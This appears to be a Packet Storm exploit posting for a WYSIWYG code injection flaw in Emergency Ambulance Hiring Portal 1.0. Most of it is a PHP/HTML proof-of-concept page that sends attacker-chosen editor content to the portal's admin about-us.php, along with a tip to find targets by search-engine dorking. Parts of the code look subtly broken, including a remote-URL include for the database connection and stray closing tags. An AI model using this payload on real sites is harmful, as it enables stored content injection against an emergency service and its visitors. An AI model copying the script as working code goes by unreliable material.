what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection
Posted Sep 11, 2024
Authored by indoushka

Emergency Ambulance Hiring Portal version 1.0 suffers from a WYSIWYG code injection vulnerability.

tags | exploit
SHA-256 | 7b43b9d23f12307ed0da163a4b20cc1867ad452d0156731cd3972715a734a359

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Change Mirror Download
=============================================================================================================================================
| # Title : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits) |
| # Vendor : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/ |
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php .

[+] Line 2 : Make sure to include your database connection here

[+] Line 44 : Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload :

<?php
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {
$pagetitle = $_POST['pagetitle'];
$pagedes = $con->real_escape_string($_POST['pagedes']);
$query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

if ($query) {
echo '<script>alert("About Us has been updated.")</script>';
} else {
echo '<script>alert("Something Went Wrong. Please try again.")</script>';
}
exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>indoushka | Update About Us Content</title>
<!-- NicEdit Script -->
<script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>
<script type="text/javascript">
// Apply NicEdit to all text areas when the DOM is loaded
bkLib.onDomLoaded(nicEditors.allTextAreas);

// Function to handle form submission using JavaScript
function submitForm(event) {
event.preventDefault(); // Prevent default form submission

const pagetitle = document.getElementById('pagetitle').value;
const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

// Prepare the form data to be sent
const formData = new FormData();
formData.append('pagetitle', pagetitle);
formData.append('pagedes', pagedes);
formData.append('submit', true);

// Send the form data using fetch API
fetch('http://127.0.0.1/eahp/admin/about-us.php', {
method: 'POST',
body: formData,
})
.then(response => response.text())
.then(data => {
alert('About Us content has been updated successfully.');
console.log(data); // Handle the response from the server
})
.catch(error => {
console.error('Error:', error);
});
}
</script>
<style>
/* Center the form container */
.editor-container {
max-width: 800px;
margin: 0 auto; /* Center horizontally */
padding: 20px;
text-align: center; /* Center the content inside */
}

/* Ensure the textarea takes the full width */
#pagedes {
width: 100%;
height: 300px;
margin: 0 auto;
}
</style>
</head>
<body>
<div id="app">
<div class="app-content">
<div class="main-content">
<div class="wrap-content container" id="container">
<!-- Page Title Section -->
<section id="page-title">
<div class="row">
<div class="col-sm-8">
<h1 class="mainTitle">Update the About Us Content</h1>
</div>

</li>
</ol>
</div>
</section>
<!-- Form Section -->
<div class="container-fluid container-fullw bg-white">
<div class="row">
<div class="col-md-12">
<!-- Centering the form using a wrapper div -->
<div class="editor-container">
<form class="forms-sample" method="post" onsubmit="submitForm(event);">
<div class="form-group">
<label for="pagetitle">Page Title</label>
<input id="pagetitle" name="pagetitle" type="text" class="form-control" required>
</div>
<div class="form-group">
<label for="pagedes">Page Description</label>
<!-- NicEdit will enhance this textarea -->
<textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>
</div>
<button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>
</form>
</div>
</div>
</div>
</div>
<!-- End Form Section -->
</div>
</div>
</div>
</div>
<!-- Footer -->
</body>
</html>

Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close